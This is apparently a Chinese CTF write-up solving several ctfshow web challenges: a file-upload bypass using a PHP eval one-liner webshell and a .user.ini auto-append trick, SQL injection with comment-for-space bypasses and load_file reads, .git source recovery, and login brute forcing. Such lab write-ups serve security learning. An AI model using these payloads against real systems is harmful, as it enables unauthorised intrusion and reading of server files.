ctf_web
ctfshow
web13
访问题目链接

一看是一道文件上传题,上传文件进行测试
上传php会显示 error suffix 因此推测会检测格式
当文件字数超出一定字数时,显示 error file zise
常规操作就是访问 .php.bak 、.phps 、.swp等文件,看看有没有源码泄露
这道题访问 upload.php.bak 成功获取到了php源码
<?php
header("content-type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if ($size > 24){
die("error file zise");
}
if (strlen($filename)>9){
die("error file name");
}
if(strlen($ext_suffix)>3){
die("error suffix");
}
if(preg_match("/php/i",$ext_suffix)){
die("error suffix");
}
if(preg_match("/php/i"),$filename)){
die("error file name");
}
if (move_uploaded_file($temp_name, './'.$filename)){
echo "文件上传成功!";
}else{
echo "文件上传失败!";
}
?>
检测了文件的大小、文件名长度、后缀名长度、黑名单限制了php后缀名和文件名
上传的文件会在本目录
对于限制了长度小于24的情况,用最简单的一句话马符合条件(23个字符)
<?php eval($_GET['c']);
对于限制了上传文件的类型,由于此题使用黑名单限制了php,但是没有限制其他三个字符后缀名的文件。
因此我们可以上传用户配置文件 .user.ini
原理参照:https://blog.csdn.net/cosmoslin/article/details/120793126
auto_apend_file="t.txt"
然后上传一个test.php,里边写上面提到的最简单一句话
此时此目录下所有php文件执行前都会包含txt文件的内容(在文件最后包含)
注意:由于限制文件内容长度,所以文件名不能写太长(配置文件内容会超出长度)

成功调用 phpinfo 函数
使用 print_r(scandir('.')); 获得一个包含本目录下所有文件的数组。

使用 highlight_file(“”) 查看可疑文件

得到flag
web14

尝试数字小的,输入3时,提示了另一个页面


是个查询框,推测有sql注入
发现会过滤空格,尝试 注释绕过,成功

order by 子句爆列数
?query=-1/**/or/**/true/**/order/**/by/**/2
发现只有一列
union爆库名
?query=-1/**/union/**/select/**/database()

爆版本

爆表(这里的informaiton_schema里的表名要带上反引号进行绕过,题目过滤了 informaiton_schema.tables)
-1/**/union/**/select/**/group_concat(table_name)from/**/information_schema.`tables`/**/where/**/table_schema=database()
后来发发现爆了一堆白爆了……..
根本就不是这么做。
仔细一想,题目提示要看题目的源码,且又是sql注入
那么——load_file()函数
使用load_file的前提:
- my.cfg(或者ini)里secure_file_priv的值(其他地方查去吧)
- 绝对路径已知(/var/www/html)
-1/**/union/**/select/**/load_file('/var/www/html/secret.php')
页面没反应

查看一下源码

看这段代码好像还需要满足一个条件,实际上已经把flag 的真实路径指出来了,就在根目录下,用load_file再读一下就好

得到flag
红包题第7弹

访问就是个phpinfo页面,用 HackPhpinfo 看看有没有古怪

ban了一堆函数
看了下中间件是nginx,看看有没有目录穿越漏洞(并没有)
看看网页html有没有藏东西(没有)
没辙,开爆!
我爆出来全是200
别人 dirmap 爆出有个 .git 目录
对于 .git ,有两个工具可以还原出网页源码
- gitHack
- Git_Extract
这里使用 Git_Extract 成功提取出文件

发现还有个 backdoor.php 文件
里面就是经典一句话

由于常用函数被ban了,所以蚁剑一类远控工具无效了
这里使用 scandir 函数 配合 print_r 显示目录结构查找可疑文件

查看里面的内容
fl4g_1s_n0t_h3r3.txt:

这里是一长串的base64编码,解码后发现 JFIF 标签

推测是一张 base64 格式的图片,找个在线工具转码看看

…… whatcanisay ?
flag.sh 内容:

这里的 sed 命令作用是:将 /var/www/flag.txt 文件中的 "flag_here" 替换为环境变量 $FLAG 的值,-i 参数表示直接在原文件中修改
看来真正的flag就在这个文件里了
highlight_file('/var/www/flag.txt');
成功出flag

萌新专属红包题1

看见登录框,条件反射是sql注入
拿burp跑了一圈测试字典没反应
于是尝试burp抓包,看各种参数,没有收获
尝试爆破
最中成功爆出了账号密码

在burp内置浏览器进行登录操作(方便看http记录,分析跳转行为)
进入main.php

查看源码,提示没有功能测试

先查看HTTP记录,分析一下跳转行为,发现有猫腻

这里的响应返回了一个flag

base64解码直接出flag
ctf_web的更多相关文章
- 什么是data:image/png;base64,?一道关于Data URI Scheme的入门级CTF_Web题
一道关于Data URI Scheme的入门级CTF_Web题 0x00 题目描述 这是偶尔遇到的某网安交流群的入群题,题目没有任何的提示,直接给了一个txt文件. 0x01 解题过程 通过给的这个文 ...
- PHP字符逃逸导致的对象注入
1.漏洞产生原因: 序列化的字符串在经过过滤函数不正确的处理而导致对象注入,目前看到都是因为过滤函数放在了serialize函数之后,要是放在序列化之前应该就不会产生这个问题 ?php functio ...
- jwt(JSON Web Tokens)的一道题目代码分析
题目链接https://github.com/wonderkun/CTF_web/tree/5b08d23ba4086992cbb9f3f4da89a6bb1346b305/web300-6 参考链接 ...
- NewStarCTF 公开赛 2022 RE WP
Week 2 Re 前可见古人,后得见来者 chipher = [0x51, 0x5B, 0x4C, 0x56, 0x59, 0x4D, 0x50, 0x56, 0x54, 0x43, 0x7D, 0 ...
随机推荐
- Go~开发笔记~目录
Go(又称为Golang)是一门由Google开发的开源编程语言,于2009年首次公开发布.Go语言被设计用来提高软件开发的效率和可靠性,在处理大规模系统时表现出色.以下是Go语言的一些特点和优势: ...
- #博弈论,贪心#AT2376 [AGC014D] Black and White Tree
题目传送门 分析 考虑到先手放一个白点后手必将在相邻位置放一个黑点, 如果没有合适的位置放黑点先手必胜,也就是问是否存在完美匹配, 直接从叶子节点到根贪心匹配即可 代码 #include <cs ...
- Hi3861 通过UART串口协议与其它开发板进行通信
一.搭建编译环境 1.下载虚拟机VMware和Ubuntu20.0.14 下载 VMware Workstation Pro | CN https://www.vmware.com/cn/produc ...
- Java 容器详解:使用与案例
Java容器是一套工具,用于存储数据和对象.可以与C++的STL类比.Java容器也称为Java Collection Framework (JCF).除了存储对象的容器之外,还提供了一套工具类,用于 ...
- 什么是MurmurHash
MurmurHash简介 MurmurHash是一种非加密散列函数,名称来自两个基本操作,乘法(MU)和旋转(R).与加密散列函数不同,它不是专门设计为难以被对手逆转,因此不适用于加密目的.在2018 ...
- Native API在HarmonyOS应用工程中的使用指导
HarmonyOS的应用必须用js来桥接native.需要使用ace_napi仓中提供的napi接口来处理js交互.napi提供的接口名与三方Node.js一致,目前支持部分接口,符号表见ace_ ...
- go切片和指针切片
转载请注明出处: 在Go语言中,切片(Slice)和指针的切片(即切片中每个元素都是指向某种数据类型的指针)是两个不同的概念,它们各自具有特定的用途和优势. 切片(Slice) 切片是对数组的一个连续 ...
- 重新点亮linux 命令树————用户和用户组的配置文件[八]
前言 简单整理一下 正文 首先看下vim /etc/passwd 这个东西. 可以看到这些就是我们的用户表. 刚才我们创建的user1就在末尾了. 那么下面有这个x:1001:1001 这个是什么意思 ...
- 重新整理.net core 计1400篇[八] (.net core 中的依赖注入的深入理解)
生命周期策略 在实例Transient 和 Scoped 中,所以实现Idisposable 接口的服务实例会被当前IServiceProvider 对象保存起来,当IService 对象的Dispo ...
- MMDeploy部署实战系列【第一章】:Docker,Nvidia-docker安装
MMDeploy部署实战系列[第一章]:Docker,Nvidia-docker安装 这个系列是一个随笔,是我走过的一些路,有些地方可能不太完善.如果有那个地方没看懂,评论区问就可以,我给补充. 版权 ...